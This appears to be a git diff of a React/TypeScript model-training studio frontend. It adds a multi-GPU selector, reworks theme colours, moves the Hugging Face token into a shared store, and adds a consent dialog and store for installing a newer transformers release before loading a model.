+      <div className="flex items-center justify-between gap-4">
+        <div className="flex items-center gap-2">
+          <p className="text-xs font-medium text-muted-foreground">
+            {t("studio.progress.gpuMonitor")}
+          </p>
+          {gpuCount > 1 && (
+            <select
+              value={selectedGpu}
+              onChange={(e) => setSelectedGpu(Number(e.target.value))}
+              className="h-6 cursor-pointer rounded-md border border-border bg-popover px-1.5 py-0.5 text-[11px] text-popover-foreground outline-none hover:bg-muted focus:border-ring transition-colors font-medium appearance-none"
+              title="Select GPU"
+            >
+              {gpus.map((device, index) => (
+                <option
+                  key={device.index ?? index}
+                  value={index}
+                  className="bg-popover text-popover-foreground dark:bg-zinc-900 dark:text-zinc-100"
+                >
+                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GiB` : "N/A"})
+                </option>
+              ))}
+            </select>
+          )}
+        </div>
         <span className="text-[11px] text-muted-foreground">
           {t("studio.progress.live")}
         </span>
@@ -388,51 +424,44 @@ function LiveGpuPanel({
       <div className="grid grid-cols-2 gap-2.5">
         <GpuStat
           label={t("studio.progress.utilization")}
-          icon={
-            <HugeiconsIcon
-              icon={DashboardSpeed01Icon}
-              className="size-3.5"
-            />
-          }
+          icon={<HugeiconsIcon icon={DashboardSpeed01Icon} className="size-3.5" />}
           value={
-            gpu.gpu_utilization_pct != null
-              ? `${gpu.gpu_utilization_pct}%`
+            currentGpu.gpu_utilization_pct != null
+              ? `${currentGpu.gpu_utilization_pct}%`
               : "--"
           }
-          pct={gpu.gpu_utilization_pct ?? 0}
+          pct={currentGpu.gpu_utilization_pct ?? 0}
         />
         <GpuStat
           label={t("studio.progress.temperature")}
-          icon={
-            <HugeiconsIcon icon={TemperatureIcon} className="size-3.5" />
-          }
+          icon={<HugeiconsIcon icon={TemperatureIcon} className="size-3.5" />}
           value={
-            gpu.temperature_c != null ? `${gpu.temperature_c}°C` : "--"
+            currentGpu.temperature_c != null ? `${currentGpu.temperature_c}°C` : "--"
           }
-          pct={gpu.temperature_c ?? 0}
+          pct={currentGpu.temperature_c ?? 0}
           max={100}
         />
         <GpuStat
           label={t("studio.progress.vram")}
           icon={<HugeiconsIcon icon={RamMemoryIcon} className="size-3.5" />}
           value={
-            gpu.vram_used_gb != null && gpu.vram_total_gb != null
-              ? `${gpu.vram_used_gb} / ${gpu.vram_total_gb} GB`
+            currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null
+              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GiB`
               : "--"
           }
-          pct={gpu.vram_utilization_pct ?? 0}
+          pct={currentGpu.vram_utilization_pct ?? 0}
         />
         <GpuStat
           label={t("studio.progress.power")}
           icon={<HugeiconsIcon icon={ZapIcon} className="size-3.5" />}
           value={
-            gpu.power_draw_w != null
-              ? gpu.power_limit_w != null
-                ? `${gpu.power_draw_w} / ${gpu.power_limit_w} W`
-                : `${gpu.power_draw_w} W`
+            currentGpu.power_draw_w != null
+              ? currentGpu.power_limit_w != null
+                ? `${currentGpu.power_draw_w} / ${currentGpu.power_limit_w} W`
+                : `${currentGpu.power_draw_w} W`
               : "--"
           }
-          pct={gpu.power_utilization_pct ?? 0}
+          pct={currentGpu.power_utilization_pct ?? 0}
         />
       </div>
     </div>
@@ -560,7 +589,10 @@ function TrainingHeaderActions({
           <HugeiconsIcon icon={StopIcon} className="size-3" />
           {stopRequested ? t("studio.training.stopping") : t("studio.training.stopAction")}
         </Button>
-        <AlertDialogContent overlayClassName="bg-background/40 supports-backdrop-filter:backdrop-blur-[1px]">
+        <AlertDialogContent
+          className="w-max max-w-[95vw]"
+          overlayClassName="bg-background/40 supports-backdrop-filter:backdrop-blur-[1px]"
+        >
           <AlertDialogHeader>
             <AlertDialogTitle>{t("studio.training.stopTitle")}</AlertDialogTitle>
             <AlertDialogDescription>
@@ -693,7 +725,7 @@ function GpuStat({
   const clamped = Math.max(0, Math.min(pct, max ?? 100));
   let barColor = "bg-red-500";
   if (clamped < 60) {
-    barColor = "bg-emerald-500";
+    barColor = "bg-control-accent";
   } else if (clamped < 95) {
     barColor = "bg-amber-500";
   }
diff --git a/studio/frontend/src/features/studio/sections/training-section.tsx b/studio/frontend/src/features/studio/sections/training-section.tsx
index d1ef132efb..5650b9c145 100644
--- a/studio/frontend/src/features/studio/sections/training-section.tsx
+++ b/studio/frontend/src/features/studio/sections/training-section.tsx
@@ -53,7 +53,6 @@ export function TrainingSection() {
     ((!store.isVisionModel && store.isDatasetImage === true) ||
       (!store.isAudioModel && store.isDatasetAudio === true));
   const configValidation = validateTrainingConfig(store);
-  const hasMessage = !!(startError || isIncompatible || (!configValidation.ok && configValidation.message));
   const fileInputRef = useRef<HTMLInputElement>(null);
 
   const handleFileUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
@@ -125,7 +124,7 @@ export function TrainingSection() {
         title={t("studio.training.title")}
         description={t("studio.training.description")}
         accent="blue"
-        className={hasMessage ? "min-h-studio-config-column" : "h-studio-config-column"}
+        className="min-h-studio-config-column"
       >
         <div className="flex flex-col gap-4">
         {/* Loss chart */}
@@ -175,7 +174,7 @@ export function TrainingSection() {
         {/* Start/Stop */}
         <Button
           data-tour="studio-start"
-          className="w-full cursor-pointer bg-gradient-to-r from-emerald-500 to-teal-500 text-white hover:from-emerald-600 hover:to-teal-600"
+          className="w-full cursor-pointer bg-primary text-primary-foreground hover:bg-primary/90"
           onClick={() => void startTrainingRun()}
           disabled={isStarting || isIncompatible || store.isCheckingDataset || isLoadingModel || !configValidation.ok}
         >
diff --git a/studio/frontend/src/features/studio/training-start-overlay.tsx b/studio/frontend/src/features/studio/training-start-overlay.tsx
index c69b25577c..db2ca91313 100644
--- a/studio/frontend/src/features/studio/training-start-overlay.tsx
+++ b/studio/frontend/src/features/studio/training-start-overlay.tsx
@@ -228,7 +228,7 @@ function DownloadRow({ label, state }: DownloadRowProps): ReactElement | null {
       {state.totalBytes > 0 ? (
         <Progress
           value={state.percent}
-          indicatorClassName="bg-[linear-gradient(90deg,oklch(0.66_0.142_166.6)_0%,oklch(0.705_0.132_166.6)_55%,oklch(0.75_0.122_166.6)_100%)]"
+          indicatorClassName="bg-[linear-gradient(90deg,var(--control-accent)_0%,color-mix(in_oklab,var(--control-accent)_72%,white)_100%)]"
         />
       ) : null}
       {state.cachePath ? (
diff --git a/studio/frontend/src/features/tour/components/guided-tour.tsx b/studio/frontend/src/features/tour/components/guided-tour.tsx
index a7b29fb925..a0ed6be98c 100644
--- a/studio/frontend/src/features/tour/components/guided-tour.tsx
+++ b/studio/frontend/src/features/tour/components/guided-tour.tsx
@@ -306,8 +306,8 @@ export function GuidedTour({
                     )}
                     aria-hidden={true}
                   />
-                  <div className="absolute inset-x-0 top-0 h-20 bg-gradient-to-b from-emerald-400/18 via-cyan-300/6 to-transparent dark:from-emerald-400/24 dark:via-cyan-300/12" />
-                  <div className="absolute -left-14 -top-16 size-44 rounded-full bg-emerald-400/20 blur-2xl dark:bg-emerald-400/26" />
+                  <div className="absolute inset-x-0 top-0 h-20 bg-gradient-to-b from-control-accent/18 via-control-accent/6 to-transparent dark:from-control-accent/24 dark:via-control-accent/12" />
+                  <div className="absolute -left-14 -top-16 size-44 rounded-full bg-control-accent/20 blur-2xl dark:bg-control-accent/26" />
                   <div className="absolute -right-14 -bottom-16 size-44 rounded-full bg-cyan-300/18 blur-2xl dark:bg-cyan-300/24" />
 
                   <div className="relative p-5">
@@ -315,7 +315,7 @@ export function GuidedTour({
                       <div className="min-w-0">
                         <div className="inline-flex items-center gap-2 rounded-full bg-black/[0.04] px-2.5 py-1 text-[10px] font-mono text-foreground/60 ring-1 ring-black/10 dark:bg-white/[0.04] dark:text-zinc-200/75 dark:ring-white/14">
                           {idx + 1}/{total}
-                          <span className="size-1 rounded-full bg-emerald-500/70" />
+                          <span className="size-1 rounded-full bg-control-accent/70" />
                           guided tour
                         </div>
                         <DialogPrimitive.Title
@@ -352,7 +352,7 @@ export function GuidedTour({
                       <div className="flex items-center gap-2">
                         <Button
                           variant="outline"
-                          className="border-black/10 bg-white/70 text-foreground hover:bg-white hover:text-foreground dark:border-white/15 dark:bg-white/[0.07] dark:text-zinc-100 dark:hover:bg-white/[0.12]"
+                          className="border-black/10 bg-white/70 text-foreground hover:bg-white hover:text-foreground dark:border-transparent dark:bg-white/[0.07] dark:text-zinc-100 dark:hover:bg-white/[0.12]"
                           disabled={idx === 0}
                           onClick={() => setIdx((i) => Math.max(0, i - 1))}
                         >
@@ -362,7 +362,7 @@ export function GuidedTour({
                         {isLast ? (
                           <Button
                             variant="dark"
-                            className="bg-gradient-to-r from-emerald-500 to-cyan-400 text-white hover:from-emerald-600 hover:to-cyan-500"
+                            className="bg-control-accent text-control-accent-foreground hover:bg-control-accent/90"
                             onClick={() => requestClose("complete")}
                           >
                             <HugeiconsIcon icon={CheckmarkCircle01Icon} className="size-4" />
@@ -371,7 +371,7 @@ export function GuidedTour({
                         ) : (
                           <Button
                             variant="dark"
-                            className="bg-gradient-to-r from-emerald-500 to-cyan-400 text-white hover:from-emerald-600 hover:to-cyan-500"
+                            className="bg-control-accent text-control-accent-foreground hover:bg-control-accent/90"
                             onClick={() => setIdx((i) => Math.min(total - 1, i + 1))}
                           >
                             Next
diff --git a/studio/frontend/src/features/tour/components/read-more.tsx b/studio/frontend/src/features/tour/components/read-more.tsx
index 13210c7723..3a5f643425 100644
--- a/studio/frontend/src/features/tour/components/read-more.tsx
+++ b/studio/frontend/src/features/tour/components/read-more.tsx
@@ -13,7 +13,7 @@ export function ReadMore({ href = "#" }: { href?: string }) {
       onClick={(e) => {
         if (href === "#") e.preventDefault();
       }}
-      className="text-emerald-600 underline underline-offset-2 hover:text-emerald-700"
+      className="text-control-accent underline underline-offset-2 hover:text-control-accent/80"
     >
       Read more
     </a>
diff --git a/studio/frontend/src/features/tour/lib/confetti-fireworks.ts b/studio/frontend/src/features/tour/lib/confetti-fireworks.ts
index 6eaf8e031e..64f5016e50 100644
--- a/studio/frontend/src/features/tour/lib/confetti-fireworks.ts
+++ b/studio/frontend/src/features/tour/lib/confetti-fireworks.ts
@@ -5,6 +5,8 @@
 
 import type { CreateTypes as ConfettiInstance } from "canvas-confetti";
 
+import { prefersReducedMotion } from "@/features/settings";
+
 type FireworksOpts = {
   durationMs?: number;
   intervalMs?: number;
@@ -48,9 +50,8 @@ export async function fireConfettiFireworks(opts: FireworksOpts = {}) {
   try {
     if (typeof window === "undefined") return;
 
-    const prefersReduce =
-      window.matchMedia?.("(prefers-reduced-motion: reduce)")?.matches ?? false;
-    if (prefersReduce) return;
+    // Honor Appearance > Reduce motion (on/off) first, then the OS preference.
+    if (prefersReducedMotion()) return;
 
     const fire = await getSharedFire();
     if (!fire || !_sharedCanvas) return;
@@ -65,7 +66,9 @@ export async function fireConfettiFireworks(opts: FireworksOpts = {}) {
       startVelocity: 28,
       spread: 360,
       ticks: 58,
-      disableForReducedMotion: true,
+      // Reduce motion is enforced above (incl. the in-app "off" override), so
+      // don't let the library re-suppress purely on the OS preference.
+      disableForReducedMotion: false,
     } as const;
 
     const randomInRange = (min: number, max: number) =>
diff --git a/studio/frontend/src/features/training/stores/training-config-store.ts b/studio/frontend/src/features/training/stores/training-config-store.ts
index 07be8a247b..a927f83fd8 100644
--- a/studio/frontend/src/features/training/stores/training-config-store.ts
+++ b/studio/frontend/src/features/training/stores/training-config-store.ts
@@ -3,6 +3,7 @@
 
 import { CPT_TARGET_MODULES, DEFAULT_HYPERPARAMS, LR_DEFAULT_CPT, LR_DEFAULT_FULL, LR_DEFAULT_LORA, STEPS, TARGET_MODULES } from "@/config/training";
 import { authFetch } from "@/features/auth";
+import { getHfToken, mirrorHfTokenInto, useHfTokenStore } from "@/features/hub";
 import { isAdapterMethod } from "@/types/training";
 import type { DatasetFormat } from "@/types/training";
 import type { ModelType, StepNumber, TrainingMethod } from "@/types/training";
@@ -115,11 +116,13 @@ let _yamlLearningRate: number | undefined = undefined;
 let _datasetFormatBeforeCpt: DatasetFormat | null = null;
 let _datasetFormatAutoForcedByCpt = false;
 
+// modelType / isVisionModel / isAudioModel persist so multimodal-only UI
+// paints right on reload; the model-config fetch still re-derives them.
+// hfToken mirrors the shared hf-token-store and is persisted there instead.
 const NON_PERSISTED_STATE_KEYS: ReadonlySet<keyof TrainingConfigState> = new Set([
-  "modelType",
+  "hfToken",
   "isCheckingVision",
   "isEmbeddingModel",
-  "isAudioModel",
   "isLoadingModelDefaults",
   "modelDefaultsError",
   "modelDefaultsAppliedFor",
@@ -128,7 +131,6 @@ const NON_PERSISTED_STATE_KEYS: ReadonlySet<keyof TrainingConfigState> = new Set
   "isDatasetAudio",
   "trainOnCompletions",
   "maxPositionEmbeddings",
-  "isVisionModel",
   "s3Config",
 ]);
 
@@ -570,6 +572,9 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             visionImageSize?: number | null;
             trustRemoteCode?: boolean;
             approvedRemoteCodeFingerprint?: string | null;
+            isVisionModel?: boolean;
+            isAudioModel?: boolean;
+            isEmbeddingModel?: boolean;
           } = {
             selectedModel,
             modelDefaultsError: null,
@@ -581,6 +586,11 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             // re-applied below, and a custom-code model re-opens the dialog before start.
             patch.trustRemoteCode = false;
             patch.approvedRemoteCodeFingerprint = null;
+            // Reset capability flags so a mid-fetch reload can't persist the
+            // previous model's vision/audio flags against the new model.
+            patch.isVisionModel = false;
+            patch.isAudioModel = false;
+            patch.isEmbeddingModel = false;
           }
           set(patch);
 
@@ -625,8 +635,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             ),
           );
         },
-        setHfToken: (hfToken) =>
-          set({ hfToken: hfToken.trim().replace(/^["']+|["']+$/g, "") }),
+        setHfToken: (hfToken) => useHfTokenStore.getState().setToken(hfToken),
         setDatasetSource: (datasetSource) => set({ datasetSource }),
         selectHfDataset: (dataset) => {
           _datasetCheckController?.abort();
@@ -916,7 +925,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           _learningRateManuallySet = false;
           _yamlLearningRate = undefined;
           clearCptDatasetFormatTracking();
-          set(initialState);
+          set({ ...initialState, hfToken: getHfToken() });
         },
         resetToModelDefaults: () => {
           const { selectedModel } = get();
@@ -940,7 +949,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
     },
     {
       name: "unsloth_training_config_v1",
-      version: 11,
+      version: 12,
       migrate: (persisted, version) => {
         const s = persisted as Record<string, unknown>;
         if (version < 2 && s.datasetSubset == null && s.datasetConfig != null) {
@@ -993,6 +1002,15 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           // own version guard.
           s.datasetStreaming ??= false;
         }
+        if (version < 12) {
+          // hfToken moved to the shared hf-token-store; seed it once so an
+          // existing Studio-only token isn't lost.
+          const legacyToken = typeof s.hfToken === "string" ? s.hfToken.trim() : "";
+          if (legacyToken && !getHfToken()) {
+            useHfTokenStore.getState().setToken(legacyToken);
+          }
+          delete s.hfToken;
+        }
         return s as unknown as TrainingConfigStore;
       },
       partialize: partializePersistedState,
@@ -1015,3 +1033,8 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
     },
   ),
 );
+
+const unsubscribeHfTokenMirror = mirrorHfTokenInto(useTrainingConfigStore);
+if (import.meta.hot) {
+  import.meta.hot.dispose(unsubscribeHfTokenMirror);
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/api/transformers-upgrade-api.ts b/studio/frontend/src/features/transformers-upgrade/api/transformers-upgrade-api.ts
new file mode 100644
index 0000000000..2df9f712ff
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/api/transformers-upgrade-api.ts
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+interface InstallLatestTransformersResponse {
+  success: boolean;
+  version: string;
+  message: string;
+  /** The server unloaded the active chat model before the swap (set even on a
+   *  structured failure, so callers can restore their model state). */
+  model_unloaded?: boolean;
+  /** On a version-mismatch failure: the release that superseded the requested
+   *  one, so Retry can use it. */
+  latest_version?: string | null;
+}
+
+/** Consented install of the latest transformers into the sidecar; synchronous, can take minutes. */
+export async function installLatestTransformers(
+  version: string,
+): Promise<InstallLatestTransformersResponse> {
+  const response = await authFetch("/api/inference/install-latest-transformers", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ version }),
+  });
+  if (!response.ok) {
+    throw new Error(await readFastApiError(response));
+  }
+  return (await response.json()) as InstallLatestTransformersResponse;
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/components/transformers-upgrade-dialog.tsx b/studio/frontend/src/features/transformers-upgrade/components/transformers-upgrade-dialog.tsx
new file mode 100644
index 0000000000..98c590e5e4
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/components/transformers-upgrade-dialog.tsx
@@ -0,0 +1,167 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Spinner } from "@/components/ui/spinner";
+import { cn } from "@/lib/utils";
+import { PackageIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useTransformersUpgradeDialogStore } from "../stores/transformers-upgrade-dialog-store";
+
+function modelDisplayName(modelName: string | null): string {
+  if (!modelName) return "This model";
+  return modelName.split("/").pop() || modelName;
+}
+
+/** Root-mounted consent dialog for models needing a newer transformers;
+ *  Install runs the sidecar install and resumes the paused load on success. */
+export function TransformersUpgradeDialog() {
+  const open = useTransformersUpgradeDialogStore((s) => s.open);
+  const modelName = useTransformersUpgradeDialogStore((s) => s.modelName);
+  const upgrade = useTransformersUpgradeDialogStore((s) => s.upgrade);
+  const phase = useTransformersUpgradeDialogStore((s) => s.phase);
+  const errorMessage = useTransformersUpgradeDialogStore((s) => s.errorMessage);
+  const trustRemoteCodeFallback = useTransformersUpgradeDialogStore(
+    (s) => s.trustRemoteCodeFallback,
+  );
+  const install = useTransformersUpgradeDialogStore((s) => s.install);
+  const resolve = useTransformersUpgradeDialogStore((s) => s.resolve);
+
+  const displayName = modelDisplayName(modelName);
+  const modelType = upgrade?.model_type ?? "unknown";
+  const version = upgrade?.pypi_version ?? null;
+  // Only released PyPI versions are installable; dev (main) builds are never offered.
+  const installable = Boolean(upgrade?.supported_in_pypi && version);
+  const devOnly = !installable && Boolean(upgrade?.supported_in_main);
+  const installing = phase === "installing";
+
+  return (
+    <AlertDialog
+      open={open}
+      onOpenChange={(next) => {
+        // Escape/overlay dismiss must not abandon an in-flight install.
+        if (!next && !installing) resolve(false);
+      }}
+    >
+      <AlertDialogContent className="max-w-lg">
+        <AlertDialogHeader className="min-w-0">
+          <div className="flex w-full min-w-0 items-start gap-3">
+            <div className="flex size-9 shrink-0 items-center justify-center rounded-full bg-blue-500/10 text-blue-600 dark:text-blue-400">
+              <HugeiconsIcon icon={PackageIcon} className="size-5" />
+            </div>
+            <div className="min-w-0 flex-1 space-y-3">
+              <div className="space-y-1">
+                <AlertDialogTitle>New model architecture</AlertDialogTitle>
+                <AlertDialogDescription>
+                  <span className="font-medium text-foreground">
+                    {displayName}
+                  </span>{" "}
+                  uses the{" "}
+                  <span className="font-mono text-foreground">{modelType}</span>{" "}
+                  architecture, which your installed transformers does not
+                  support yet.{" "}
+                  {installable ? (
+                    <>
+                      Install transformers{" "}
+                      <span className="font-medium text-foreground">
+                        {version}
+                      </span>{" "}
+                      from PyPI to load it. The install runs once and can take
+                      a minute; loading continues automatically afterwards.
+                    </>
+                  ) : devOnly ? (
+                    <>
+                      Even the latest transformers release on PyPI does not
+                      support it yet: the architecture is only available on the
+                      transformers development branch (main), and Studio does
+                      not install development builds. Support arrives with the
+                      next transformers release on PyPI.
+                    </>
+                  ) : (
+                    <>
+                      No released transformers version supports it yet, so it
+                      cannot be loaded.
+                    </>
+                  )}
+                  {!installable && trustRemoteCodeFallback ? (
+                    <>
+                      {" "}
+                      This model also ships its own modeling code; you can
+                      continue and review enabling that custom code instead.
+                    </>
+                  ) : null}
+                </AlertDialogDescription>
+              </div>
+
+              {phase === "error" && errorMessage ? (
+                <p className="rounded-lg border border-red-500/30 bg-red-500/10 px-3 py-2 text-xs text-red-600 dark:text-red-400">
+                  {errorMessage}
+                </p>
+              ) : null}
+
+              {installing ? (
+                <p className="flex items-center gap-2 text-xs text-muted-foreground">
+                  <Spinner className="size-3.5" />
+                  Installing transformers {version}... This can take a minute.
+                </p>
+              ) : null}
+            </div>
+          </div>
+        </AlertDialogHeader>
+
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={installing}>Cancel</AlertDialogCancel>
+          {installable ? (
+            <>
+              {phase === "error" && trustRemoteCodeFallback ? (
+                // Install failed but the model ships custom code: offer the
+                // caller's trust_remote_code gate instead of forcing a retry.
+                <AlertDialogAction
+                  className="bg-transparent text-foreground hover:bg-accent"
+                  onClick={() => resolve(true)}
+                >
+                  Continue with custom code
+                </AlertDialogAction>
+              ) : null}
+              <AlertDialogAction
+                disabled={installing}
+                className={cn(installing && "pointer-events-none")}
+                onClick={(event) => {
+                  // Keep the dialog open; the store closes it on success.
+                  event.preventDefault();
+                  void install();
+                }}
+              >
+                {installing ? (
+                  <>
+                    <Spinner className="size-4" />
+                    Installing...
+                  </>
+                ) : phase === "error" ? (
+                  "Retry install"
+                ) : (
+                  `Install transformers ${version}`
+                )}
+              </AlertDialogAction>
+            </>
+          ) : trustRemoteCodeFallback ? (
+            // No installable release but the model ships custom code: continue
+            // into the caller's trust_remote_code gate as the last resort.
+            <AlertDialogAction onClick={() => resolve(true)}>
+              Continue with custom code
+            </AlertDialogAction>
+          ) : null}
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/hooks/use-transformers-upgrade-consent.ts b/studio/frontend/src/features/transformers-upgrade/hooks/use-transformers-upgrade-consent.ts
new file mode 100644
index 0000000000..7d79d08d9c
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/hooks/use-transformers-upgrade-consent.ts
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useTransformersUpgradeDialogStore } from "../stores/transformers-upgrade-dialog-store";
+import type { TransformersUpgradeInfo } from "../types";
+
+interface ConfirmArgs {
+  modelName: string;
+  /** validate's transformers_upgrade payload; null/undefined skips the dialog. */
+  upgrade: TransformersUpgradeInfo | null | undefined;
+  /** When no release is installable, offer continuing into the caller's custom-code gate. */
+  trustRemoteCodeFallback?: boolean;
+}
+
+/** Pause a load needing a newer transformers on the consent dialog and run the install.
+ *  Resolves true when the load can continue; false on cancel or not-installable with no fallback. */
+export async function confirmTransformersUpgradeIfNeeded({
+  modelName,
+  upgrade,
+  trustRemoteCodeFallback,
+}: ConfirmArgs): Promise<boolean> {
+  if (!upgrade) return true;
+  return useTransformersUpgradeDialogStore
+    .getState()
+    .requestConsent(modelName, upgrade, {
+      trustRemoteCodeFallback: Boolean(trustRemoteCodeFallback),
+    });
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/index.ts b/studio/frontend/src/features/transformers-upgrade/index.ts
new file mode 100644
index 0000000000..4318fd7830
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/index.ts
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export { TransformersUpgradeDialog } from "./components/transformers-upgrade-dialog";
+export { confirmTransformersUpgradeIfNeeded } from "./hooks/use-transformers-upgrade-consent";
+export { installLatestTransformers } from "./api/transformers-upgrade-api";
+export { useTransformersUpgradeDialogStore } from "./stores/transformers-upgrade-dialog-store";
+export type { TransformersUpgradeInfo } from "./types";
diff --git a/studio/frontend/src/features/transformers-upgrade/stores/transformers-upgrade-dialog-store.ts b/studio/frontend/src/features/transformers-upgrade/stores/transformers-upgrade-dialog-store.ts
new file mode 100644
index 0000000000..9e307fb1a1
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/stores/transformers-upgrade-dialog-store.ts
@@ -0,0 +1,139 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { installLatestTransformers } from "../api/transformers-upgrade-api";
+import type { TransformersUpgradeInfo, TransformersUpgradePhase } from "../types";
+
+type Resolver = (installed: boolean) => void;
+
+// One in-flight consent; a new request resolves any prior pending one as declined.
+let pendingResolver: Resolver | null = null;
+
+interface TransformersUpgradeDialogStore {
+  open: boolean;
+  modelName: string | null;
+  upgrade: TransformersUpgradeInfo | null;
+  phase: TransformersUpgradePhase;
+  errorMessage: string | null;
+  /** Model ships custom code; without a PyPI install the load may fall back to trust_remote_code. */
+  trustRemoteCodeFallback: boolean;
+  /** True once this consent's install completed. The install unloads the previous
+   *  model before swapping, so the caller must treat it as already unloaded; the
+   *  custom-code fallback resolves true without installing and leaves it loaded. */
+  installRan: boolean;
+  /** True when the server unloaded the active chat model during this consent,
+   *  including a swap that failed AFTER the unload: callers must then treat
+   *  their previous model as gone and roll back on any later cancel. */
+  serverUnloadedChat: boolean;
+  /** Read-and-clear serverUnloadedChat: each waiter consumes the signal once,
+   *  so a superseding consent can neither erase it before the old waiter reads
+   *  it nor leak it into an unrelated later load. */
+  consumeServerUnloadedChat: () => boolean;
+  /** Open the dialog for a paused load; resolves true on install success or custom-code fallback. */
+  requestConsent: (
+    modelName: string,
+    upgrade: TransformersUpgradeInfo,
+    options?: { trustRemoteCodeFallback?: boolean },
+  ) => Promise<boolean>;
+  /** Accept/Retry: run the install; on success resolve(true) and close. */
+  install: () => Promise<void>;
+  resolve: (installed: boolean) => void;
+}
+
+export const useTransformersUpgradeDialogStore =
+  create<TransformersUpgradeDialogStore>()((set, get) => ({
+    open: false,
+    modelName: null,
+    upgrade: null,
+    phase: "consent",
+    errorMessage: null,
+    trustRemoteCodeFallback: false,
+    installRan: false,
+    serverUnloadedChat: false,
+    requestConsent: (modelName, upgrade, options) =>
+      new Promise<boolean>((resolve) => {
+        pendingResolver?.(false);
+        pendingResolver = resolve;
+        set({
+          open: true,
+          modelName,
+          upgrade,
+          phase: "consent",
+          errorMessage: null,
+          trustRemoteCodeFallback: Boolean(options?.trustRemoteCodeFallback),
+          installRan: false,
+        });
+      }),
+    consumeServerUnloadedChat: () => {
+      const value = get().serverUnloadedChat;
+      if (value) set({ serverUnloadedChat: false });
+      return value;
+    },
+    install: async () => {
+      const { upgrade, phase } = get();
+      const version = upgrade?.pypi_version;
+      if (!version || phase === "installing") return;
+      const requestResolver = pendingResolver;
+      set({ phase: "installing", errorMessage: null });
+      let result: Awaited<ReturnType<typeof installLatestTransformers>>;
+      try {
+        result = await installLatestTransformers(version);
+        // Latch the server-side unload IMMEDIATELY, before any resolver-identity
+        // guard: even a superseded consent's install may have unloaded the chat
+        // model, and the signal must survive for whichever load consumes it next.
+        if (result.model_unloaded) {
+          set({ serverUnloadedChat: true });
+        }
+      } catch (error) {
+        // Ignore the failure if a newer request superseded this consent.
+        if (pendingResolver === requestResolver) {
+          set({
+            phase: "error",
+            errorMessage:
+              error instanceof Error && error.message
+                ? error.message
+                : "Failed to install transformers.",
+          });
+        }
+        return;
+      }
+      if (pendingResolver === requestResolver) {
+        if (result.success) {
+          // serverUnloadedChat was latched above (and is never reset here): a
+          // retry after a failed-after-unload attempt reports false because the
+          // model is already gone, and a superseded install may have set it too.
+          set({ installRan: true });
+          get().resolve(true);
+          return;
+        }
+        // Structured failure: the swap failed but may have already unloaded the
+        // chat model; record that so a later cancel still rolls the caller back.
+        // A version mismatch also carries the superseding release, so Retry
+        // re-requests a version that can actually succeed.
+        const { upgrade } = get();
+        set({
+          phase: "error",
+          errorMessage: result.message || "Failed to install transformers.",
+          serverUnloadedChat:
+            get().serverUnloadedChat || Boolean(result.model_unloaded),
+          ...(result.latest_version && upgrade
+            ? { upgrade: { ...upgrade, pypi_version: result.latest_version } }
+            : {}),
+        });
+      }
+    },
+    resolve: (installed) => {
+      const resolver = pendingResolver;
+      pendingResolver = null;
+      set({
+        open: false,
+        modelName: null,
+        upgrade: null,
+        phase: "consent",
+        errorMessage: null,
+        trustRemoteCodeFallback: false,
+      });
+      resolver?.(installed);
+    },
+  }));
diff --git a/studio/frontend/src/features/transformers-upgrade/types.ts b/studio/frontend/src/features/transformers-upgrade/types.ts
new file mode 100644
index 0000000000..cf6bbe3d2f
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/types.ts
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+/** Wire shape of `transformers_upgrade` from /api/inference/validate. */
+export interface TransformersUpgradeInfo {
+  /** config.json model_type unknown to installed transformers. */
+  model_type: string;
+  /** Latest transformers release on PyPI at check time. */
+  pypi_version?: string | null;
+  /** Latest PyPI release ships this model_type (installable after consent). */
+  supported_in_pypi?: boolean;
